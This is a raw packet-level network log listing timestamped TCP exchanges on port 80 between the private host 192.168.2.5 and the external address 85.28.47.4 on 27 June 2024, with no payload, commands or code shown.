Jun 27, 2024 07:37:16.943810940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943810940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943810940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943816900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943823099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943828106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943833113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943840027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943850994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943856955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943856955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943862915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943869114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943873882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943892002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943892002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943939924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944674969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944689989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944694996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944705963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944711924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944715977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944725990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944727898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944734097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944739103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944744110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944750071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944753885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944761038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944761992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944766998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944781065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944787025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944796085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944799900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944806099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944816113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944822073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944828033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.944834948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944834948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944860935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.944892883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.945533037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945539951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945549965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945555925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945560932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945565939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945576906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945581913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945586920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945593119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945599079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.945616007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.945647955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.945679903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.027719021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027743101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027750015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027834892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.027834892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.027889967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027896881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027909040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027915001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027920961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.027981997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.027981997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028114080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028120041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028132915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028137922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028145075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028197050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028235912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028408051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028414011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028424978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028430939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028436899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028443098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028455019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028460026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028520107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028520107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028726101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028732061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028738022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028750896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028758049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028763056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028769970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028775930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028789043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028790951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.028801918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028846025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.028846025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029205084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029211044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029222012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029227972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029300928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029364109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029370070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029383898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029388905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029400110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029406071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029412031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029417992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029423952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029423952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029442072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029448032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029449940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029453039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029459953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029467106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029490948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029517889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029591084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.029934883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029941082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.029954910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030005932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.030127048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030132055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030138016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030149937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030155897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030168056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030180931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030185938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.030189991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030198097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030204058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030209064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030214071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030220032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030225992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030230999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030237913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030251026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030252934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.030252934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.030253887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030256987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030261040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.030309916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.030309916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.031297922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031305075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031315088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031318903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031325102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031331062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031336069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031348944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031353951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031362057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031369925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031373978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.031374931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031379938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031384945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031395912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031402111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031408072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031411886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.031413078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031419992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031424046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031430960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031440020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031445026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.031452894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.031493902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.031493902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032005072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032016993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032021999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032032013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032037020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032048941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032054901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032061100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032066107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032072067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032077074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032082081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032083035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032088995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032094002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032099962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032102108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032105923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032111883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032123089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032129049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032141924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032165051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032177925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032776117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032784939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032798052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032804012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032809973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032815933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032830000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.032851934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.032870054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.114717007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114727020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114744902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114751101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114764929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114846945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114852905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114856005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.114859104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.114903927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115065098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115071058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115082979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115091085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115098953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115153074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115153074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115325928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115331888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115343094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115349054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115360975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115367889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115374088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115396023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115436077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115636110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115648031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115658998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115664005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115669966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115674973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115680933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115686893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115694046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115704060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115711927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.115730047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115730047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.115793943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.116179943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116185904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116197109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116202116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116210938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116216898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116221905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116228104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116235018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116257906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.116585970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116592884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116599083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116604090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116615057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116621017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116626978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116632938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116638899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.116637945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.116637945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117017031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117022991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117034912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117039919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117049932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117055893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117059946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117059946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117060900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117067099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117073059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117074013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117078066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117083073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.117126942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117126942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.117158890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.234563112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.240181923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.409985065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410018921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410031080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410052061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410262108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410262108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410435915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410455942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410468102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410566092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410592079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410603046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410609007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410614967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410667896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410667896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410862923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410868883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410878897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410883904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410890102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410893917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410900116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.410965919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.410965919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411154985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411160946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411170959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411176920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411183119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411187887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411232948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411232948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411232948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.411240101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411248922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411254883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.411259890 CEST	80	49705	85.28.47.4	192.168.2.5
